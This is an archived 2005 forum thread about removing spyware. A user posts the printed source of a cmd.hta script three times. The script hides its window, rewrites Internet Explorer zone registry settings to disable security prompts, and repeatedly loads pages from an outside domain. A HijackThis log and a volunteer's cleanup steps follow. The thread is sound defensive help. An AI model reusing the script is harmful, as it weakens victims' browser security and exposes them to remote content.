Jump to content


 


Register a free account to unlock additional features at BleepingComputer.com
Welcome to BleepingComputer, a free community where people like yourself come together to discuss and learn how to use their computers. Using the site is easy and fun. As a guest, you can browse and view the various discussions in the forums, but can not create a new topic or reply to an existing one unless you are logged in. Other benefits of registering an account are subscribing to topics and forums, creating a blog, and having no ads shown anywhere on the site.


Click here to Register a free account now! or read our Welcome Guide to learn how to use this site.

Photo

HJT log - Miyagisan


  • Please log in to reply
3 replies to this topic

#1 Miyagisan

Miyagisan

  • Members
  • 2 posts
  • OFFLINE
  •  
  • Local time:05:31 PM

Posted 26 August 2005 - 11:11 PM

This post was moved into its own topic. Please do not post to other people's topics in this forum.

OT 8/27/2005


I've had a similar problem with the cmd.hta spyware, but mine was different. During startup, a dos screen would appear with messages, but quickly close so that i couldn't read them, and 3 windows pop up all with the same error. The windows are all labeled as C:\ cmd.hta and they all have this message:

Sink started at 2005/08/22 22:00:58.0218
<hta:application id=hta_note_id :
applicationName=hta_note_name :
showInTaskBar=no :
caption=no :
innerBorder=no :
selection=no :
scroll=no :
contextmenu=no />:
<IFRAME id=ebt SRC=about:blank></IFRAME>:
<script language=javascript>//:
window.resizeTo(0, 0);//:
window.moveTo(3000, 3000); z=0;//:
function Writer(key) {//:
var WSHShell = new ActiveXObject('WScript.Shell');//:
bigkey = hotkey + '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\3\\' + key;//:
WSHShell.RegWrite(bigkey, value, 'REG_DWORD'); }//:
function WriteReg(){//:
value = 0x00000000;//:
Writer('1001'); Writer('1004'); Writer('1201'); Writer('1200'); Writer('1405'); Writer('1A02');//:
Writer('1A03'); Writer('1803'); Writer('1604'); Writer('1406'); Writer('1802'); Writer('1800');//:
Writer('1804'); Writer('1607'); Writer('1606'); Writer('1400'); Writer('1407'); Writer('1402');//:
value = 0x00020000;//:
Writer('1E05'); Writer('1A00'); value = 0x00000001; Writer('1601'); value = 0x00010000; Writer('1C00');}//:
function DoIt()//:
{ hotkey = 'HKCU'; try{WriteReg(); } catch(e){}//:
hotkey = 'HKLM'; try { WriteReg(); } catch(e){} }//:
function cla(){ //:
try { z=z+1;//:
ebtl='http://afris.biz/chunga.html?'+z;//:
ebt.location=ebtl;//:
setTimeout('cla()',120000);//:
} catch(e){}//:
}//:
DoIt();//:
setTimeout('cla()',5000);//:
</script>;//:
Sink stopped at 2005/08/22 22:00:58.0218
Sink started at 2005/08/22 22:01:03.0281
<hta:application id=hta_note_id :
applicationName=hta_note_name :
showInTaskBar=no :
caption=no :
innerBorder=no :
selection=no :
scroll=no :
contextmenu=no />:
<IFRAME id=ebt SRC=about:blank></IFRAME>:
<script language=javascript>//:
window.resizeTo(0, 0);//:
window.moveTo(3000, 3000); z=0;//:
function Writer(key) {//:
var WSHShell = new ActiveXObject('WScript.Shell');//:
bigkey = hotkey + '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\3\\' + key;//:
WSHShell.RegWrite(bigkey, value, 'REG_DWORD'); }//:
function WriteReg(){//:
value = 0x00000000;//:
Writer('1001'); Writer('1004'); Writer('1201'); Writer('1200'); Writer('1405'); Writer('1A02');//:
Writer('1A03'); Writer('1803'); Writer('1604'); Writer('1406'); Writer('1802'); Writer('1800');//:
Writer('1804'); Writer('1607'); Writer('1606'); Writer('1400'); Writer('1407'); Writer('1402');//:
value = 0x00020000;//:
Writer('1E05'); Writer('1A00'); value = 0x00000001; Writer('1601'); value = 0x00010000; Writer('1C00');}//:
function DoIt()//:
{ hotkey = 'HKCU'; try{WriteReg(); } catch(e){}//:
hotkey = 'HKLM'; try { WriteReg(); } catch(e){} }//:
function cla(){ //:
try { z=z+1;//:
ebtl='http://afris.biz/chunga.html?'+z;//:
ebt.location=ebtl;//:
setTimeout('cla()',120000);//:
} catch(e){}//:
}//:
DoIt();//:
setTimeout('cla()',5000);//:
</script>;//:
Sink stopped at 2005/08/22 22:01:03.0281
Sink started at 2005/08/22 22:01:05.0562
<hta:application id=hta_note_id :
applicationName=hta_note_name :
showInTaskBar=no :
caption=no :
innerBorder=no :
selection=no :
scroll=no :
contextmenu=no />:
<IFRAME id=ebt SRC=about:blank></IFRAME>:
<script language=javascript>//:
window.resizeTo(0, 0);//:
window.moveTo(3000, 3000); z=0;//:
function Writer(key) {//:
var WSHShell = new ActiveXObject('WScript.Shell');//:
bigkey = hotkey + '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\3\\' + key;//:
WSHShell.RegWrite(bigkey, value, 'REG_DWORD'); }//:
function WriteReg(){//:
value = 0x00000000;//:
Writer('1001'); Writer('1004'); Writer('1201'); Writer('1200'); Writer('1405'); Writer('1A02');//:
Writer('1A03'); Writer('1803'); Writer('1604'); Writer('1406'); Writer('1802'); Writer('1800');//:
Writer('1804'); Writer('1607'); Writer('1606'); Writer('1400'); Writer('1407'); Writer('1402');//:
value = 0x00020000;//:
Writer('1E05'); Writer('1A00'); value = 0x00000001; Writer('1601'); value = 0x00010000; Writer('1C00');}//:
function DoIt()//:
{ hotkey = 'HKCU'; try{WriteReg(); } catch(e){}//:
hotkey = 'HKLM'; try { WriteReg(); } catch(e){} }//:
function cla(){ //:
try { z=z+1;//:
ebtl='http://afris.biz/chunga.html?'+z;//:
ebt.location=ebtl;//:
setTimeout('cla()',120000);//:
} catch(e){}//:
}//:
DoIt();//:
setTimeout('cla()',5000);//:
</script>;//:
Sink stopped at 2005/08/22 22:01:05.0578

I went into msconfig and onto the startup and found an item called "ass" in the startup folder. I disabled it, and the messages don't pop up, but my computer still keeps on crashing, even when I have tried to reformat it.

Edited by OldTimer, 27 August 2005 - 03:07 PM.


BC AdBot (Login to Remove)

 


#2 OldTimer

OldTimer

    Malware Expert


  • Members
  • 11,092 posts
  • OFFLINE
  •  
  • Gender:Male
  • Location:North Carolina
  • Local time:06:31 PM

Posted 30 August 2005 - 11:04 AM

Hello Miyagisan and welcome to the BC HijackThis forum. We need a complete HijackThis (HJT) log file to be able to analyze what is happening on your computer. If you do not have a copy of HijackThis or do not have the latest version (1.99.1) then download it from here: HijackThis_sfx.exe
Double-click on the file you just downloaded and click on the UnZip button to install the program. It will be installed to the C:\Program Files\HijackThis\ folder by default.

Boot normally, start HijackThis and click the Do a system scan and save a log button to perform a scan and create a log file. When the scan is complete, Notepad will open up with the log file in it. While in Notepad, press Ctrl-A to select all text and then Ctrl-C to copy the text to the clipboard.

POST the log in this thread using the Add Reply button. Click in the data-entry window and press Ctrl-V to paste the log into the window. Add any other comments which you believe might be helpful in our analysis. and click the Add Reply button.

I will review your log when it comes in.


DO NOT MAKE ANY CHANGES OR CLICK "FIX CHECKED" UNTIL I CHECK THE LOG, AS SOME OF THE FILES ARE LEGIT AND VITAL TO THE FUNCTION OF YOUR COMPUTER

OT
I do not respond to PM's requesting help. That's what the forums are here for. Please use them so that others may benefit from your questions and the responses you receive.
OldTimer

Posted Image

#3 Miyagisan

Miyagisan
  • Topic Starter

  • Members
  • 2 posts
  • OFFLINE
  •  
  • Local time:05:31 PM

Posted 04 September 2005 - 04:08 PM

Logfile of HijackThis v1.99.1
Scan saved at 5:03:56 PM, on 9/4/2005
Platform: Windows XP SP1 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP1 (6.00.2800.1106)

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\spoolsv.exe
C:\WINDOWS\Explorer.EXE
C:\WINDOWS\system32\igfxtray.exe
C:\WINDOWS\system32\hkcmd.exe
C:\Program Files\Java\j2re1.4.2_03\bin\jusched.exe
C:\Program Files\Common Files\Sonic\Update Manager\sgtray.exe
C:\Program Files\Hewlett-Packard\HP Software Update\HPWuSchd.exe
C:\WINDOWS\system32\hphmon05.exe
C:\Program Files\QuickTime\qttask.exe
C:\Program Files\HPQ\Quick Launch Buttons\EabServr.exe
C:\Program Files\Microsoft IntelliPoint\point32.exe
C:\Program Files\iTunes\iTunesHelper.exe
C:\Program Files\iPod\bin\iPodService.exe
C:\Program Files\winupdates\winupdates.exe
C:\Program Files\Messenger\msmsgs.exe
C:\Program Files\Spyware Doctor\swdoctor.exe
C:\Program Files\iolo\System Mechanic 5 Professional\PopupStopper.exe
C:\Program Files\Kaspersky Lab\Kaspersky Anti-Hacker\KAVPF.exe
C:\Program Files\HijackThis\HijackThis.exe
C:\WINDOWS\System32\wpabaln.exe

R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Start Page =
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = http://ie.redirect.hp.com/svs/rdr?TYPE=3&t...sario&pf=laptop
R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Local Page =
O2 - BHO: AcroIEHlprObj Class - {06849E9F-C8D7-4D59-B87D-784B7D6BE0B3} - C:\Program Files\Adobe\Acrobat 6.0\Reader\ActiveX\AcroIEHelper.dll
O2 - BHO: (no name) - {53707962-6F74-2D53-2644-206D7942484F} - C:\PROGRA~1\SPYBOT~1\SDHelper.dll
O2 - BHO: (no name) - {549B5CA7-4A86-11D7-A4DF-000874180BB3} - (no file)
O2 - BHO: PCTools Site Guard - {5C8B2A36-3DB1-42A4-A3CB-D426709BBFEB} - C:\PROGRA~1\SPYWAR~1\tools\iesdsg.dll
O2 - BHO: PCTools Browser Monitor - {B56A7D7D-6927-48C8-A975-17DF180C71AC} - C:\PROGRA~1\SPYWAR~1\tools\iesdpb.dll
O2 - BHO: (no name) - {D7E588AB-A5D9-4422-B313-22A3470F9700} - (no file)
O2 - BHO: (no name) - {FDD3B846-8D59-4ffb-8758-209B6AD74ACC} - (no file)
O4 - HKLM\..\Run: [IgfxTray] C:\WINDOWS\system32\igfxtray.exe
O4 - HKLM\..\Run: [HotKeysCmds] C:\WINDOWS\system32\hkcmd.exe
O4 - HKLM\..\Run: [SunJavaUpdateSched] C:\Program Files\Java\j2re1.4.2_03\bin\jusched.exe
O4 - HKLM\..\Run: [UpdateManager] "C:\Program Files\Common Files\Sonic\Update Manager\sgtray.exe" /r
O4 - HKLM\..\Run: [HPHUPD05] c:\Program Files\Hewlett-Packard\{45B6180B-DCAB-4093-8EE8-6164457517F0}\hphupd05.exe
O4 - HKLM\..\Run: [HP Software Update] "c:\Program Files\Hewlett-Packard\HP Software Update\HPWuSchd.exe"
O4 - HKLM\..\Run: [HPHmon05] C:\WINDOWS\system32\hphmon05.exe
O4 - HKLM\..\Run: [QuickTime Task] "C:\Program Files\QuickTime\qttask.exe" -atboottime
O4 - HKLM\..\Run: [Cpqset] C:\Program Files\HPQ\Default Settings\cpqset.exe
O4 - HKLM\..\Run: [eabconfg.cpl] C:\Program Files\HPQ\Quick Launch Buttons\EabServr.exe /Start
O4 - HKLM\..\Run: [IntelliPoint] "C:\Program Files\Microsoft IntelliPoint\point32.exe"
O4 - HKLM\..\Run: [iTunesHelper] C:\Program Files\iTunes\iTunesHelper.exe
O4 - HKLM\..\Run: [KAVPersonal50] C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus Personal\kav.exe /minimize
O4 - HKLM\..\Run: [winupdates] C:\Program Files\winupdates\winupdates.exe /auto
O4 - HKCU\..\Run: [MSMSGS] "C:\Program Files\Messenger\msmsgs.exe" /background
O4 - HKCU\..\Run: [Spyware Doctor] "C:\Program Files\Spyware Doctor\swdoctor.exe" /Q
O4 - HKCU\..\Run: [MoneyAgent] "c:\Program Files\Microsoft Money\System\mnyexpr.exe"
O4 - HKCU\..\Run: [System Mechanic Popup Stopper] "C:\Program Files\iolo\System Mechanic 5 Professional\PopupStopper.exe"
O4 - Global Startup: Adobe Gamma Loader.lnk = C:\Program Files\Common Files\Adobe\Calibration\Adobe Gamma Loader.exe
O4 - Global Startup: Kaspersky Anti-Hacker.lnk = ?
O4 - Global Startup: Microsoft Office.lnk = C:\Program Files\Microsoft Office\Office10\OSA.EXE
O8 - Extra context menu item: E&xport to Microsoft Excel - res://C:\PROGRA~1\MICROS~4\Office10\EXCEL.EXE/3000
O9 - Extra button: (no name) - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\WINDOWS\System32\msjava.dll
O9 - Extra 'Tools' menuitem: Sun Java Console - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\WINDOWS\System32\msjava.dll
O9 - Extra button: Spyware Doctor - {2D663D1A-8670-49D9-A1A5-4C56B4E14E84} - C:\PROGRA~1\SPYWAR~1\tools\iesdpb.dll
O9 - Extra button: EmpirePoker - {77E68763-4284-41d6-B7E7-B6E1F053A9E7} - C:\WINDOWS\system32\SHDOCVW.dll
O9 - Extra 'Tools' menuitem: EmpirePoker - {77E68763-4284-41d6-B7E7-B6E1F053A9E7} - C:\WINDOWS\system32\SHDOCVW.dll
O9 - Extra button: AIM - {AC9E2541-2814-11d5-BC6D-00B0D0A1DE45} - C:\Program Files\AIM\aim.exe
O9 - Extra button: Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Program Files\Messenger\msmsgs.exe
O9 - Extra 'Tools' menuitem: Windows Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Program Files\Messenger\msmsgs.exe
O20 - Winlogon Notify: igfxcui - C:\WINDOWS\SYSTEM32\igfxsrvc.dll
O23 - Service: Adobe LM Service - Unknown owner - C:\Program Files\Common Files\Adobe Systems Shared\Service\Adobelmsvc.exe
O23 - Service: HP WMI Interface (hpqwmi) - Hewlett-Packard Development Company, L.P. - C:\Program Files\HPQ\SHARED\HPQWMI.exe
O23 - Service: iPod Service (iPodService) - Apple Computer, Inc. - C:\Program Files\iPod\bin\iPodService.exe
O23 - Service: kavsvc - Kaspersky Lab - C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus Personal\kavsvc.exe

#4 OldTimer

OldTimer

    Malware Expert


  • Members
  • 11,092 posts
  • OFFLINE
  •  
  • Gender:Male
  • Location:North Carolina
  • Local time:06:31 PM

Posted 06 September 2005 - 11:47 AM

Hi Miyagisan. We have a few items to fix here so let's get to that. Please print these directions and then proceed with the following steps in order.

Step #1

Download CCleaner and install it but do not run it yet.

Step #2

Start in Safe Mode Using the F8 method:
  • Restart the computer.
  • As soon as the BIOS is loaded begin tapping the F8 key until the boot menu appears.
  • Use the arrow keys to select the Safe Mode menu item.
  • Press the Enter key.
Step #3

Start HijackThis and click the Scan button to perform a scan. Look for the following items and click in the checkbox in front of each item to select it:R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Start Page =
R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Local Page =
O2 - BHO: (no name) - {549B5CA7-4A86-11D7-A4DF-000874180BB3} - (no file)
O2 - BHO: (no name) - {D7E588AB-A5D9-4422-B313-22A3470F9700} - (no file)
O2 - BHO: (no name) - {FDD3B846-8D59-4ffb-8758-209B6AD74ACC} - (no file)
O4 - HKLM\..\Run: [winupdates] C:\Program Files\winupdates\winupdates.exe /auto
O9 - Extra button: EmpirePoker - {77E68763-4284-41d6-B7E7-B6E1F053A9E7} - C:\WINDOWS\system32\SHDOCVW.dll
O9 - Extra 'Tools' menuitem: EmpirePoker - {77E68763-4284-41d6-B7E7-B6E1F053A9E7} - C:\WINDOWS\system32\SHDOCVW.dll

Now close ALL open windows except HijackThis and click the Fix Checked button to finish the repair.

Step #4

We need to make sure all hidden files are showing so please:
  • Click Start.
  • Open My Computer.
  • Select the Tools menu and click Folder Options.
  • Select the View tab.
  • Under the Hidden files and folders heading select Show hidden files and folders.
  • Uncheck the Hide file extensions for known types option.
  • Uncheck the Hide protected operating system files (recommended) option.
  • Click Yes to confirm.
  • Click OK.
Find the following files/folders and delete them (don't worry if they are already gone):C:\Program Files\winupdates\ <--folder
Step #5

Start CCleaner and click on the Run Cleaner button in the lower right-hand corner. When it is finished close CCleaner.

Step #6

Reboot normally and run at least 2 of the following on-line virus scans:Bitdefender <<<Add a check by 'Autoclean'.
RAV <<<Add a check by 'Autoclean', leave everything else as is.
eTrust <<<'Cure' whatever is found, then delete if unsuccessful
Housecall <<<Put on 'Autoclean' and delete what it can't clean.
Panda ActiveScan <<<Accept default settings
If there are any files that cannot be automatically disinfected or quarantined then you will need to delete them manually.

Step #7

If you do not already have Ad-Aware SE 1.06 then follow these download and setup instructions: Ad-Aware SE Setup. Otherwise, just check for updates.

Start Ad-aware SE, click the Start button and choose Perform Full System Scan. Click the Next button and wait for the scan to complete. If anything was found, right-click on the list and choose Select All and remove all it finds.

Step #8

OK. Reboot your computer normally, start HijackThis and perform a new scan. Use the Add Reply button to post your new log file back here along with details of any problems you encountered performing the above steps and I will review it when it comes in.

OT
I do not respond to PM's requesting help. That's what the forums are here for. Please use them so that others may benefit from your questions and the responses you receive.
OldTimer

Posted Image




0 user(s) are reading this topic

0 members, 0 guests, 0 anonymous users